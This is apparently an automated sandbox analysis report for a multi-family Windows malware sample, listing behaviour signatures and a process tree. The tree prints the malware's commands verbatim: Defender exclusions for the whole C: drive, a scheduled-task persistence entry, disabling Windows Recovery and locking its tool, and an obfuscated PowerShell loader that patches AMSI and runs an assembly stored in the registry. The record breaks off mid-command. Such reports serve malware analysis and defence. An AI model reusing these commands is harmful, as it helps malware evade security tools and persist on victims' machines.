Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
22/05/2026, 18:45
General
- Target 2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
- Size 401KB
- Sample260522-xd26ssfx5s
- SHA256 8224351cfd340a0f14fa231dfcf2b16ae179747c72ea11303f5de1fcfe5a8114
Score
9/10
Malware Config
Signatures
- Looks for VirtualBox Guest Additions in registry 2 TTPs 4 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
- Looks for VMWare Tools registry key 2 TTPs 4 IoCs
- Possible privilege escalation attempt 3 IoCs
- Executes dropped EXE 4 IoCs
- Modifies file permissions 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Power Settings 1 TTPs 7 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 17 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Windows directory 5 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 2 IoCs
- Modifies data under HKEY_USERS 61 IoCs
- Modifies registry class 56 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 53 IoCs
- Suspicious use of UnmapMainImage 16 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Win-v41.exe"C:\Windows\Win-v41.exe"2⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-0223d83c-a958-4f54-a24a-8b6bef12bc33 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-37be7a9b-a2de-4df7-b960-844581a56c3c -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-4ff235fe-309d-43bf-a6dd-55c9757a80d4 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-93660595-df9d-4f06-a303-48a3915054f4 -LifetimeId:00e75919-db5a-49a4-882f-f2891fb5a80f -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Suspicious use of UnmapMainImage
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
-
C:\Users\Admin\AppData\Local\Temp\2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"2⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C reagentc /disable3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\ReAgentc.exereagentc /disable4⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\takeown.exetakeown /F "C:\Windows\System32\reagentc.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change monitor-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /change hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\powercfg.exepowercfg /hibernate off3⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping -n 1 -w 1000 8.8.8.84⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
-
C:\Windows\System32\Win-v42.exeC:\Windows\System32\Win-v42.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
-
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -Command ""function Local:fNJYthapDJWX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nEXOZKTrTSATeX,[Parameter(Position=1)][Type]$VEJirxBIza)$iEQKWtNwojM=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+'f'+[Char](108)+''+[Char](101)+'c'+'t'+'e'+'d'+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+'s'+[Char](44)+''+[Char](80)+''+[Char](117)+'bli'+[Char](99)+''+[Char](44)+''+[Char](83)+'e'+[Char](97)+'l'+[Char](101)+''+[Char](100)+','+[Char](65)+''+[Char](110)+''+[Char](115)+'iCl'+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+''+'C'+''+'l'+''+[Char](97)+'ss',[MulticastDelegate]);$iEQKWtNwojM.DefineConstructor('R'+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+''+'e'+''+','+''+[Char](72)+''+[Char](105)+'d'+'e'+''+'B'+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+'b'+''+'l'+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$nEXOZKTrTSATeX).SetImplementationFlags(''+[Char](82)+'un'+'t'+'i'+[Char](109)+'e'+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$iEQKWtNwojM.DefineMethod(''+'I'+''+[Char](110)+'v'+[Char](111)+'k'+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'H'+'i'+'deBy'+'S'+'i'+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+'ir'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$VEJirxBIza,$nEXOZKTrTSATeX).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+'m'+''+[Char](101)+','+'M'+''+'a'+'n'+'a'+'g'+[Char](101)+'d');Write-Output $iEQKWtNwojM.CreateType();}$DLkVVfzBfWdcx=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+'ll')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+'os'+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+[Char](110)+'32.Un'+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'ve'+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+'s'+'');$QMtQCXwItSnxwk=$DLkVVfzBfWdcx.GetMethod(''+'G'+''+[Char](101)+'tP'+[Char](114)+'oc'+'A'+''+'d'+''+'d'+''+[Char](114)+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'S'+[Char](116)+''+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XOAgqXSNrpzczfIbcMt=fNJYthapDJWX @([String])([IntPtr]);$AKsNcqhpRyVOZQKYCBpQdD=fNJYthapDJWX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$RYinyTdfVho=$DLkVVfzBfWdcx.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+'du'+'l'+''+[Char](101)+'H'+'a'+''+[Char](110)+'d'+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+''+'e'+'l'+[Char](51)+''+'2'+'.dl'+[Char](108)+'')));$sxOWSDjSIZplVY=$QMtQCXwItSnxwk.Invoke($Null,@([Object]$RYinyTdfVho,[Object]('Lo'+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$ntehMCIUTDwnrLCTN=$QMtQCXwItSnxwk.Invoke($Null,@([Object]$RYinyTdfVho,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+'l'+''+[Char](80)+''+'r'+''+'o'+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$akODRpm=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sxOWSDjSIZplVY,$XOAgqXSNrpzczfIbcMt).Invoke('am'+[Char](115)+'i.'+'d'+''+[Char](108)+'l');$RDJJWrcVXoUIxZAUy=$QMtQCXwItSnxwk.Invoke($Null,@([Object]$akODRpm,[Object]('Am'+[Char](115)+'i'+[Char](83)+''+'c'+''+[Char](97)+'n'+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$CsHoRcuLcF=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ntehMCIUTDwnrLCTN,$AKsNcqhpRyVOZQKYCBpQdD).Invoke($RDJJWrcVXoUIxZAUy,[uint32]8,4,[ref]$CsHoRcuLcF);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](226-95),[Byte](59+133),[Byte](199-199),[Byte](50+134),[Byte](29+58),[Byte](238-238),[Byte](143-136),[Byte](148-20),[Byte](28+103),[Byte](248-55),[Byte](41-41),[Byte](79+116),[Byte](12+125),[Byte](118+92)),0,$RDJJWrcVXoUIxZAUy,218-204);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ntehMCIUTDwnrLCTN,$AKsNcqhpRyVOZQKYCBpQdD).Invoke($RDJJWrcVXoUIxZAUy,[uint32]8,0x20,[ref]$CsHoRcuLcF);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('$S'+[Char](72)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""1⤵
- System Time Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command ""function Local:fNJYthapDJWX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nEXOZKTrTSATeX,[Parameter(Position=1)][Type]$VEJirxBIza)$iEQKWtNwojM=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+'f'+[Char](108)+''+[Char](101)+'c'+'t'+'e'+'d'+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+'s'+[Char](44)+''+[Char](80)+''+[Char](117)+'bli'+[Char](99)+''+[Char](44)+''+[Char](83)+'e'+[Char](97)+'l'+[Char](101)+''+[Char](100)+','+[Char](65)+''+[Char](110)+''+[Char](115)+'iCl'+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+''+'C'+''+'l'+''+[Char](97)+'ss',[MulticastDelegate]);$iEQKWtNwojM.DefineConstructor('R'+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+''+'e'+''+','+''+[Char](72)+''+[Char](105)+'d'+'e'+''+'B'+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+'b'+''+'l'+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$nEXOZKTrTSATeX).SetImplementationFlags(''+[Char](82)+'un'+'t'+'i'+[Char](109)+'e'+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$iEQKWtNwojM.DefineMethod(''+'I'+''+[Char](110)+'v'+[Char](111)+'k'+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'H'+'i'+'deBy'+'S'+'i'+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+'ir'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$VEJirxBIza,$nEXOZKTrTSATeX).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+'m'+''+[Char](101)+','+'M'+''+'a'+'n'+'a'+'g'+[Char](101)+'d');Write-Output $iEQKWtNwojM.CreateType();}$DLkVVfzBfWdcx=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+'ll')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+'os'+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+[Char](110)+'32.Un'+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'ve'+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+'s'+'');$QMtQCXwItSnxwk=$DLkVVfzBfWdcx.GetMethod(''+'G'+''+[Char](101)+'tP'+[Char](114)+'oc'+'A'+''+'d'+''+'d'+''+[Char](114)+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'S'+[Char](116)+''+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XOAgqXSNrpzczfIbcMt=fNJYthapDJWX @([String])([IntPtr]);$AKsNcqhpRyVOZQKYCBpQdD=fNJYthapDJWX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$RYinyTdfVho=$DLkVVfzBfWdcx.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+'du'+'l'+''+[Char](101)+'H'+'a'+''+[Char](110)+'d'+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+''+'e'+'l'+[Char](51)+''+'2'+'.dl'+[Char](108)+'')));$sxOWSDjSIZplVY=$QMtQCXwItSnxwk.Invoke($Null,@([Object]$RYinyTdfVho,[Object]('Lo'+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$ntehMCIUTDwnrLCTN=$QMtQCXwItSnxwk.Invoke($Null,@([Object]$RYinyTdfVho,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+'l'+''+[Char](80)+''+'r'+''+'o'+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$akODRpm=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($s